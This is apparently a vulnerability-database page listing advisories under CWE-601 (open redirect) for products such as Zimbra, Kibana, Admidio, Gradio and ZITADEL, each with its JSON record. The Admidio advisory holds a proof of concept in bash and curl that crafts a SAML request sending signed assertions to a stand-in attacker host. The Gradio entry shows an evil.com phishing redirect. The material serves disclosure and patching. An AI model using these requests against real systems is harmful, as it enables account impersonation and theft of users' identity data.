CWE-601
AllowedURL Redirection to Untrusted Site ('Open Redirect')
Abstraction: Base · Status: Draft
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.
2312 vulnerabilities reference this CWE, most recent first.
GHSA-P8FV-37Q7-2PR7
Vulnerability from github – Published: 2023-06-15 21:30 – Updated: 2024-04-04 04:53An open redirect vulnerability exists in the /preauth Servlet in Zimbra Collaboration Suite through 9.0 and 8.8.15. To exploit the vulnerability, an attacker would need to have obtained a valid zimbra auth token or a valid preauth token. Once the token is obtained, an attacker could redirect a user to any URL if url sanitisation is bypassed in incoming requests. NOTE: this is similar, but not identical, to CVE-2021-34807.
{
"affected": [],
"aliases": [
"CVE-2023-24030"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-15T21:15:09Z",
"severity": "MODERATE"
},
"details": "An open redirect vulnerability exists in the /preauth Servlet in Zimbra Collaboration Suite through 9.0 and 8.8.15. To exploit the vulnerability, an attacker would need to have obtained a valid zimbra auth token or a valid preauth token. Once the token is obtained, an attacker could redirect a user to any URL if url sanitisation is bypassed in incoming requests. NOTE: this is similar, but not identical, to CVE-2021-34807.",
"id": "GHSA-p8fv-37q7-2pr7",
"modified": "2024-04-04T04:53:24Z",
"published": "2023-06-15T21:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24030"
},
{
"type": "WEB",
"url": "https://wiki.zimbra.com/wiki/Security_Center"
},
{
"type": "WEB",
"url": "https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P999-W4H4-238V
Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2022-05-13 01:14The fix in Kibana for ESA-2017-23 was incomplete. With X-Pack security enabled, Kibana versions before 6.1.3 and 5.6.7 have an open redirect vulnerability on the login page that would enable an attacker to craft a link that redirects to an arbitrary website.
{
"affected": [],
"aliases": [
"CVE-2018-3819"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-03-30T20:29:00Z",
"severity": "MODERATE"
},
"details": "The fix in Kibana for ESA-2017-23 was incomplete. With X-Pack security enabled, Kibana versions before 6.1.3 and 5.6.7 have an open redirect vulnerability on the login page that would enable an attacker to craft a link that redirects to an arbitrary website.",
"id": "GHSA-p999-w4h4-238v",
"modified": "2022-05-13T01:14:31Z",
"published": "2022-05-13T01:14:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3819"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/elastic-stack-6-1-3-and-5-6-7-security-update/117683"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P99P-CR7F-R54F
Vulnerability from github – Published: 2023-02-14 06:31 – Updated: 2023-02-21 21:30SAP Solution Manager - version 720, allows an authenticated attacker to redirect users to a malicious site due to insufficient URL validation. A successful attack could lead an attacker to read or modify the information or expose the user to a phishing attack. As a result, it has a low impact to confidentiality, integrity and availability.
{
"affected": [],
"aliases": [
"CVE-2023-23855"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-14T04:15:00Z",
"severity": "MODERATE"
},
"details": "SAP Solution Manager - version 720, allows an authenticated attacker to redirect users to a malicious site due to insufficient URL validation. A successful attack could lead an attacker to read or modify the information or expose the user to a phishing attack. As a result, it has a low impact to confidentiality, integrity and availability.",
"id": "GHSA-p99p-cr7f-r54f",
"modified": "2023-02-21T21:30:18Z",
"published": "2023-02-14T06:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23855"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/3270509"
},
{
"type": "WEB",
"url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P9HR-JH3M-JQX9
Vulnerability from github – Published: 2026-02-08 15:30 – Updated: 2026-02-08 15:30A vulnerability was determined in mwielgoszewski doorman up to 0.6. This issue affects the function is_safe_url of the file doorman/users/views.py. Executing a manipulation of the argument Next can lead to open redirect. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.
{
"affected": [],
"aliases": [
"CVE-2026-2153"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-08T13:16:04Z",
"severity": "MODERATE"
},
"details": "A vulnerability was determined in mwielgoszewski doorman up to 0.6. This issue affects the function is_safe_url of the file doorman/users/views.py. Executing a manipulation of the argument Next can lead to open redirect. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.",
"id": "GHSA-p9hr-jh3m-jqx9",
"modified": "2026-02-08T15:30:58Z",
"published": "2026-02-08T15:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2153"
},
{
"type": "WEB",
"url": "https://gist.github.com/RacerZ-fighting/39f230feb0e450ae54f0a80c63c5d924"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.344855"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.344855"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.748072"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P9W4-QH4J-6CX3
Vulnerability from github – Published: 2025-05-08 18:30 – Updated: 2025-05-08 18:30Rapid7 Corporate Website prior to May 2nd 2025, suffered from a URL Redirection to Untrusted Site ('Open Redirect') vulnerability whereby, due to misconfigured headers, an attacker could successfully redirect users to a malicious site of their control. This vulnerability has been fixed as of May 2nd 2025.
{
"affected": [],
"aliases": [
"CVE-2025-4132"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-08T16:15:28Z",
"severity": "LOW"
},
"details": "Rapid7 Corporate Website prior to May 2nd 2025, suffered from a URL Redirection to Untrusted Site (\u0027Open Redirect\u0027) vulnerability whereby, due to misconfigured headers, an attacker could successfully redirect users to a malicious site of their control. \nThis vulnerability has been fixed as of May 2nd 2025.",
"id": "GHSA-p9w4-qh4j-6cx3",
"modified": "2025-05-08T18:30:42Z",
"published": "2025-05-08T18:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4132"
},
{
"type": "WEB",
"url": "https://cwe.mitre.org/data/definitions/601.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P9W9-87C8-M235
Vulnerability from github – Published: 2026-04-29 21:57 – Updated: 2026-05-08 20:14Summary
The SAML IdP implementation in Admidio's SSO module uses the AssertionConsumerServiceURL value directly from incoming SAML AuthnRequest messages as the destination for the SAML response, without validating it against the registered ACS URL (smc_acs_url) stored in the database for the corresponding service provider client. An attacker who knows the Entity ID of a registered SP client can craft a SAML AuthnRequest with an arbitrary AssertionConsumerServiceURL, causing the IdP to send the signed SAML response -- containing user identity attributes (login name, email, roles, profile fields) -- to an attacker-controlled URL.
Details
The vulnerability is in src/SSO/Service/SAMLService.php, in handleSSORequest() at lines 439-465:
// Line 439: ACS URL extracted directly from the AuthnRequest (attacker-controlled)
$clientACS = $request->getAssertionConsumerServiceURL();
// ...
// Line 456: Used as the Destination of the SAML Response
$response->setDestination($clientACS);
// Lines 463-465: Also used as the Recipient in SubjectConfirmationData
$subjectConfirmationData = new \LightSaml\Model\Assertion\SubjectConfirmationData();
$subjectConfirmationData
->setRecipient($clientACS) // Required recipient URL
There is no code that compares $clientACS against the client's registered smc_acs_url column value. The SAML 2.0 specification and OASIS security considerations explicitly require IdPs to verify that the AssertionConsumerServiceURL matches one of the SP's registered ACS endpoints.
Signature validation is conditional and does not prevent this attack:
At lines 417-419:
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
$this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));
}
If neither smc_require_auth_signed nor smc_validate_signatures is enabled for the SP client (which is the default when creating a new client), the AuthnRequest is processed without any signature verification. This means an attacker only needs to know the SP's Entity ID (which is often publicly discoverable from the SP's metadata endpoint) to craft a malicious AuthnRequest.
Even when signatures ARE validated, the ACS URL should still be checked against the registered value, because: - Signature validation proves the request came from the SP, not that the ACS URL is authorized - If the SP's signing key is compromised, the ACS URL becomes the last line of defense - This follows the defense-in-depth principle mandated by SAML 2.0 Profiles Section 4.1.4.1
The same pattern exists in the error response path at lines 323-326:
} elseif (method_exists($request, 'getAssertionConsumerServiceURL')) {
$response->setDestination($request->getAssertionConsumerServiceURL());
} else {
$response->setDestination($client->getValue('smc_acs_url'));
}
Attack flow:
1. Attacker discovers the Entity ID of a SAML client registered in Admidio (e.g., from the SP's public metadata)
2. Attacker crafts a SAML AuthnRequest with the legitimate Entity ID but an attacker-controlled AssertionConsumerServiceURL
3. Attacker sends this AuthnRequest to Admidio's SSO endpoint (via redirect or auto-submitting form)
4. If the user is already logged in to Admidio, the IdP generates a signed SAML response with the user's identity and attributes
5. The SAML response is POST-binding-sent to the attacker's URL via an auto-submitting HTML form rendered in the victim's browser
6. The attacker receives the signed SAML assertion containing login name, email, full name, roles, and other profile fields
7. The attacker can replay this SAML assertion to the legitimate SP (since it is validly signed by the IdP)
PoC
# Step 1: Generate a malicious SAML AuthnRequest
# This is a base64-encoded SAML AuthnRequest with:
# - Issuer = the known Entity ID of a registered SP
# - AssertionConsumerServiceURL = attacker's server
# Example AuthnRequest XML (before base64 encoding):
# <samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
# xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
# ID="_test123"
# Version="2.0"
# IssueInstant="2026-03-17T00:00:00Z"
# AssertionConsumerServiceURL="https://attacker.test/steal-saml"
# ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST">
# <saml:Issuer>https://legitimate-sp.test/metadata</saml:Issuer>
# </samlp:AuthnRequest>
SAML_REQUEST=$(echo -n '<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_test123" Version="2.0" IssueInstant="2026-03-17T00:00:00Z" AssertionConsumerServiceURL="https://attacker.test/steal-saml" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"><saml:Issuer>REGISTERED_SP_ENTITY_ID</saml:Issuer></samlp:AuthnRequest>' | base64 -w 0)
# Step 2: Send via HTTP-POST binding to Admidio's SSO endpoint
# (This would typically be done by tricking a logged-in user to visit a page with an auto-submitting form)
curl -X POST "https://TARGET/modules/sso/index.php/saml/sso" \
-d "SAMLRequest=$SAML_REQUEST" \
-b "ADMIDIO_SESSION=victim_session_cookie"
# Step 3: If the victim is logged in, Admidio will render an auto-submitting HTML form
# that POSTs the signed SAML Response to https://attacker.test/steal-saml
# The response contains: user login name, email, full name, roles, and any other
# profile fields configured in the SP's field mapping
# Step 4: Attacker receives the signed SAML assertion and can replay it
# to the legitimate SP to authenticate as the victim
Impact
- User Identity Theft: The signed SAML assertion containing login credentials, email, name, and roles is sent to an attacker-controlled URL. The attacker can replay this assertion to the legitimate SP to impersonate the victim.
- Information Disclosure: User profile data (email, phone, address, role memberships, and any custom profile fields configured in the SP's field mapping) is exfiltrated.
- Scope Change (S:C): The IdP vulnerability directly enables impersonation on separate Service Provider applications.
- No Signature Required: When
smc_require_auth_signedis not enabled (default), the attack requires zero knowledge of cryptographic keys -- only the SP's Entity ID.
Recommended Fix
Validate the AssertionConsumerServiceURL from the AuthnRequest against the registered smc_acs_url before using it. In src/SSO/Service/SAMLService.php, add validation after loading the client:
// After line 439: $clientACS = $request->getAssertionConsumerServiceURL();
// Validate ACS URL against registered client configuration
$registeredACS = $client->getValue('smc_acs_url');
if (!empty($clientACS) && $clientACS !== $registeredACS) {
throw new Exception(
'The AssertionConsumerServiceURL in the AuthnRequest ("' . $clientACS . '") ' .
'does not match the registered ACS URL for this client. ' .
'Possible assertion theft attempt.'
);
}
// If no ACS URL in request, fall back to the registered one
if (empty($clientACS)) {
$clientACS = $registeredACS;
}
Also apply the same validation in the errorResponse() method at line 323-326:
// Replace lines 323-326 with:
if ($request instanceof LogoutRequest) {
$response->setDestination($client->getValue('smc_slo_url'));
} else {
// Always use the registered ACS URL, never the request's ACS URL
$response->setDestination($client->getValue('smc_acs_url'));
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.8"
},
"package": {
"ecosystem": "Packagist",
"name": "admidio/admidio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41670"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-29T21:57:30Z",
"nvd_published_at": "2026-05-07T04:16:30Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe SAML IdP implementation in Admidio\u0027s SSO module uses the `AssertionConsumerServiceURL` value directly from incoming SAML AuthnRequest messages as the destination for the SAML response, without validating it against the registered ACS URL (`smc_acs_url`) stored in the database for the corresponding service provider client. An attacker who knows the Entity ID of a registered SP client can craft a SAML AuthnRequest with an arbitrary `AssertionConsumerServiceURL`, causing the IdP to send the signed SAML response -- containing user identity attributes (login name, email, roles, profile fields) -- to an attacker-controlled URL.\n\n## Details\n\nThe vulnerability is in `src/SSO/Service/SAMLService.php`, in `handleSSORequest()` at lines 439-465:\n\n```php\n// Line 439: ACS URL extracted directly from the AuthnRequest (attacker-controlled)\n$clientACS = $request-\u003egetAssertionConsumerServiceURL();\n\n// ...\n\n// Line 456: Used as the Destination of the SAML Response\n$response-\u003esetDestination($clientACS);\n\n// Lines 463-465: Also used as the Recipient in SubjectConfirmationData\n$subjectConfirmationData = new \\LightSaml\\Model\\Assertion\\SubjectConfirmationData();\n$subjectConfirmationData\n -\u003esetRecipient($clientACS) // Required recipient URL\n```\n\nThere is no code that compares `$clientACS` against the client\u0027s registered `smc_acs_url` column value. The SAML 2.0 specification and OASIS security considerations explicitly require IdPs to verify that the AssertionConsumerServiceURL matches one of the SP\u0027s registered ACS endpoints.\n\n**Signature validation is conditional and does not prevent this attack:**\n\nAt lines 417-419:\n```php\nif ($client-\u003egetValue(\u0027smc_require_auth_signed\u0027) || $client-\u003egetValue(\u0027smc_validate_signatures\u0027)) {\n $this-\u003evalidateSignature($client, $request, $client-\u003egetValue(\u0027smc_require_auth_signed\u0027));\n}\n```\n\nIf neither `smc_require_auth_signed` nor `smc_validate_signatures` is enabled for the SP client (which is the default when creating a new client), the AuthnRequest is processed without any signature verification. This means an attacker only needs to know the SP\u0027s Entity ID (which is often publicly discoverable from the SP\u0027s metadata endpoint) to craft a malicious AuthnRequest.\n\nEven when signatures ARE validated, the ACS URL should still be checked against the registered value, because:\n- Signature validation proves the request came from the SP, not that the ACS URL is authorized\n- If the SP\u0027s signing key is compromised, the ACS URL becomes the last line of defense\n- This follows the defense-in-depth principle mandated by SAML 2.0 Profiles Section 4.1.4.1\n\n**The same pattern exists in the error response path** at lines 323-326:\n```php\n} elseif (method_exists($request, \u0027getAssertionConsumerServiceURL\u0027)) {\n $response-\u003esetDestination($request-\u003egetAssertionConsumerServiceURL());\n} else {\n $response-\u003esetDestination($client-\u003egetValue(\u0027smc_acs_url\u0027));\n}\n```\n\n**Attack flow:**\n1. Attacker discovers the Entity ID of a SAML client registered in Admidio (e.g., from the SP\u0027s public metadata)\n2. Attacker crafts a SAML AuthnRequest with the legitimate Entity ID but an attacker-controlled `AssertionConsumerServiceURL`\n3. Attacker sends this AuthnRequest to Admidio\u0027s SSO endpoint (via redirect or auto-submitting form)\n4. If the user is already logged in to Admidio, the IdP generates a signed SAML response with the user\u0027s identity and attributes\n5. The SAML response is POST-binding-sent to the attacker\u0027s URL via an auto-submitting HTML form rendered in the victim\u0027s browser\n6. The attacker receives the signed SAML assertion containing login name, email, full name, roles, and other profile fields\n7. The attacker can replay this SAML assertion to the legitimate SP (since it is validly signed by the IdP)\n\n## PoC\n\n```bash\n# Step 1: Generate a malicious SAML AuthnRequest\n# This is a base64-encoded SAML AuthnRequest with:\n# - Issuer = the known Entity ID of a registered SP\n# - AssertionConsumerServiceURL = attacker\u0027s server\n\n# Example AuthnRequest XML (before base64 encoding):\n# \u003csamlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n# xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\"\n# ID=\"_test123\"\n# Version=\"2.0\"\n# IssueInstant=\"2026-03-17T00:00:00Z\"\n# AssertionConsumerServiceURL=\"https://attacker.test/steal-saml\"\n# ProtocolBinding=\"urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST\"\u003e\n# \u003csaml:Issuer\u003ehttps://legitimate-sp.test/metadata\u003c/saml:Issuer\u003e\n# \u003c/samlp:AuthnRequest\u003e\n\nSAML_REQUEST=$(echo -n \u0027\u003csamlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_test123\" Version=\"2.0\" IssueInstant=\"2026-03-17T00:00:00Z\" AssertionConsumerServiceURL=\"https://attacker.test/steal-saml\" ProtocolBinding=\"urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST\"\u003e\u003csaml:Issuer\u003eREGISTERED_SP_ENTITY_ID\u003c/saml:Issuer\u003e\u003c/samlp:AuthnRequest\u003e\u0027 | base64 -w 0)\n\n# Step 2: Send via HTTP-POST binding to Admidio\u0027s SSO endpoint\n# (This would typically be done by tricking a logged-in user to visit a page with an auto-submitting form)\ncurl -X POST \"https://TARGET/modules/sso/index.php/saml/sso\" \\\n -d \"SAMLRequest=$SAML_REQUEST\" \\\n -b \"ADMIDIO_SESSION=victim_session_cookie\"\n\n# Step 3: If the victim is logged in, Admidio will render an auto-submitting HTML form\n# that POSTs the signed SAML Response to https://attacker.test/steal-saml\n# The response contains: user login name, email, full name, roles, and any other\n# profile fields configured in the SP\u0027s field mapping\n\n# Step 4: Attacker receives the signed SAML assertion and can replay it\n# to the legitimate SP to authenticate as the victim\n```\n\n## Impact\n\n- **User Identity Theft**: The signed SAML assertion containing login credentials, email, name, and roles is sent to an attacker-controlled URL. The attacker can replay this assertion to the legitimate SP to impersonate the victim.\n- **Information Disclosure**: User profile data (email, phone, address, role memberships, and any custom profile fields configured in the SP\u0027s field mapping) is exfiltrated.\n- **Scope Change (S:C)**: The IdP vulnerability directly enables impersonation on separate Service Provider applications.\n- **No Signature Required**: When `smc_require_auth_signed` is not enabled (default), the attack requires zero knowledge of cryptographic keys -- only the SP\u0027s Entity ID.\n\n## Recommended Fix\n\nValidate the `AssertionConsumerServiceURL` from the AuthnRequest against the registered `smc_acs_url` before using it. In `src/SSO/Service/SAMLService.php`, add validation after loading the client:\n\n```php\n// After line 439: $clientACS = $request-\u003egetAssertionConsumerServiceURL();\n\n// Validate ACS URL against registered client configuration\n$registeredACS = $client-\u003egetValue(\u0027smc_acs_url\u0027);\nif (!empty($clientACS) \u0026\u0026 $clientACS !== $registeredACS) {\n throw new Exception(\n \u0027The AssertionConsumerServiceURL in the AuthnRequest (\"\u0027 . $clientACS . \u0027\") \u0027 .\n \u0027does not match the registered ACS URL for this client. \u0027 .\n \u0027Possible assertion theft attempt.\u0027\n );\n}\n\n// If no ACS URL in request, fall back to the registered one\nif (empty($clientACS)) {\n $clientACS = $registeredACS;\n}\n```\n\nAlso apply the same validation in the `errorResponse()` method at line 323-326:\n\n```php\n// Replace lines 323-326 with:\nif ($request instanceof LogoutRequest) {\n $response-\u003esetDestination($client-\u003egetValue(\u0027smc_slo_url\u0027));\n} else {\n // Always use the registered ACS URL, never the request\u0027s ACS URL\n $response-\u003esetDestination($client-\u003egetValue(\u0027smc_acs_url\u0027));\n}\n```",
"id": "GHSA-p9w9-87c8-m235",
"modified": "2026-05-08T20:14:29Z",
"published": "2026-04-29T21:57:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-p9w9-87c8-m235"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41670"
},
{
"type": "PACKAGE",
"url": "https://github.com/Admidio/admidio"
},
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Admidio Sends SAML Response to Unvalidated Assertion Consumer Service URL from AuthnRequest"
}
GHSA-PC7G-8V63-Q7V6
Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-19 18:31A flaw has been found in busy up to 2.5.5. The affected element is an unknown function of the file source-code/busy-master/src/server/app.js of the component Callback Handler. Executing a manipulation of the argument state can lead to open redirect. It is possible to launch the attack remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-2709"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-19T07:17:50Z",
"severity": "MODERATE"
},
"details": "A flaw has been found in busy up to 2.5.5. The affected element is an unknown function of the file source-code/busy-master/src/server/app.js of the component Callback Handler. Executing a manipulation of the argument state can lead to open redirect. It is possible to launch the attack remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-pc7g-8v63-q7v6",
"modified": "2026-02-19T18:31:51Z",
"published": "2026-02-19T18:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2709"
},
{
"type": "WEB",
"url": "https://github.com/busyorg/busy/issues/2287"
},
{
"type": "WEB",
"url": "https://github.com/busyorg/busy/issues/2287#issue-3905518966"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.346661"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.346661"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.753299"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PC86-JMJR-HVXG
Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-05-24 19:06GetSimpleCMS <=3.3.15 has an open redirect in admin/changedata.php via the redirect function to the url parameter.
{
"affected": [],
"aliases": [
"CVE-2020-18660"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-23T21:15:00Z",
"severity": "MODERATE"
},
"details": "GetSimpleCMS \u003c=3.3.15 has an open redirect in admin/changedata.php via the redirect function to the url parameter.",
"id": "GHSA-pc86-jmjr-hvxg",
"modified": "2022-05-24T19:06:02Z",
"published": "2022-05-24T19:06:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-18660"
},
{
"type": "WEB",
"url": "https://github.com/GetSimpleCMS/GetSimpleCMS/issues/1310"
},
{
"type": "WEB",
"url": "https://github.com/LoRexxar/CVE_Request/blob/master/getsimplecms%20v3.3.15/getsimplecms_before_v3.3.15.md"
},
{
"type": "WEB",
"url": "https://www.seebug.org/vuldb/ssvid-97928"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-PFJF-5GXR-995X
Vulnerability from github – Published: 2026-03-01 01:29 – Updated: 2026-06-06 00:22Summary
The _redirect_to_target() function in Gradio's OAuth flow accepts an unvalidated _target_url query parameter, allowing redirection to arbitrary external URLs. This affects the /logout and /login/callback endpoints on Gradio apps with OAuth enabled (i.e. apps running on Hugging Face Spaces with gr.LoginButton).
Details
def _redirect_to_target(request, default_target="/"):
target = request.query_params.get("_target_url", default_target)
return RedirectResponse(target) # No validation
An attacker can craft a URL like https://my-space.hf.space/logout?_target_url=https://evil.com/phishing that redirects the user to an external site after logout. Because the URL originates from a trusted hf.space domain, users are more likely to trust the link.
Impact
Phishing — an attacker can use the trusted domain to redirect users to a malicious site. No direct data exposure or server-side impact.
## Fix The _target_url parameter is now sanitized to only use the path, query, and fragment, stripping any scheme or host.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "gradio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28415"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-284",
"CWE-330",
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-01T01:29:12Z",
"nvd_published_at": "2026-02-27T22:16:24Z",
"severity": "MODERATE"
},
"details": "# Summary\n\nThe _redirect_to_target() function in Gradio\u0027s OAuth flow accepts an unvalidated _target_url query parameter, allowing redirection to arbitrary external URLs. This affects the /logout and /login/callback endpoints on Gradio apps with OAuth enabled (i.e. apps running on Hugging Face Spaces with gr.LoginButton).\n\n## Details\n\n```python\n\n def _redirect_to_target(request, default_target=\"/\"):\n target = request.query_params.get(\"_target_url\", default_target)\n return RedirectResponse(target) # No validation\n```\n An attacker can craft a URL like https://my-space.hf.space/logout?_target_url=https://evil.com/phishing that redirects the user to an external site after logout. Because the URL originates from a trusted hf.space domain, users are more likely to trust the link.\n\n## Impact\n\nPhishing \u2014 an attacker can use the trusted domain to redirect users to a malicious site. No direct data exposure or server-side impact.\n\n ## Fix\nThe _target_url parameter is now sanitized to only use the path, query, and fragment, stripping any scheme or host.",
"id": "GHSA-pfjf-5gxr-995x",
"modified": "2026-06-06T00:22:30Z",
"published": "2026-03-01T01:29:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gradio-app/gradio/security/advisories/GHSA-pfjf-5gxr-995x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28415"
},
{
"type": "WEB",
"url": "https://github.com/gradio-app/gradio/commit/dfee0da06d0aa94b3c2684131e7898d5d5c1911e"
},
{
"type": "PACKAGE",
"url": "https://github.com/gradio-app/gradio"
},
{
"type": "WEB",
"url": "https://github.com/gradio-app/gradio/releases/tag/gradio%406.6.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2026-65.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gradio has an Open Redirect in its OAuth Flow"
}
GHSA-PFRF-9R5F-73F5
Vulnerability from github – Published: 2025-12-08 22:19 – Updated: 2026-03-09 15:47Summary
A potential vulnerability exists in ZITADEL's password reset mechanism in login V2. ZITADEL utilizes the Forwarded or X-Forwarded-Host header from incoming requests to construct the URL for the password reset confirmation link. This link, containing a secret code, is then emailed to the user.
Impact
If an attacker can manipulate these headers (e.g., via host header injection), they could cause ZITADEL to generate a password reset link pointing to a malicious domain controlled by the attacker. If the user clicks this manipulated link in the email, the secret reset code embedded in the URL can be captured by the attacker. This captured code could then be used to reset the user's password and gain unauthorized access to their account.
It's important to note that this specific attack vector is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.
Affected Versions
Systems using the login UI (v2) and running one of the following versions are affected:
- v4.x: 4.0.0-rc.1 through 4.7.0
Patches
The vulnerability has been addressed in the latest release. The patch resolves the issue by correctly validating the X-Forwarded-Host and Forwarded headers against the instance custom and trusted domains.
Before you upgrade, ensure that:
- the ZITADEL_API_URL is set and is pointing to your instance, resp. system in multi-instance deployments.
- the HTTP host (or a x-forwarded-host) is passed in your reverse proxy to the login UI.
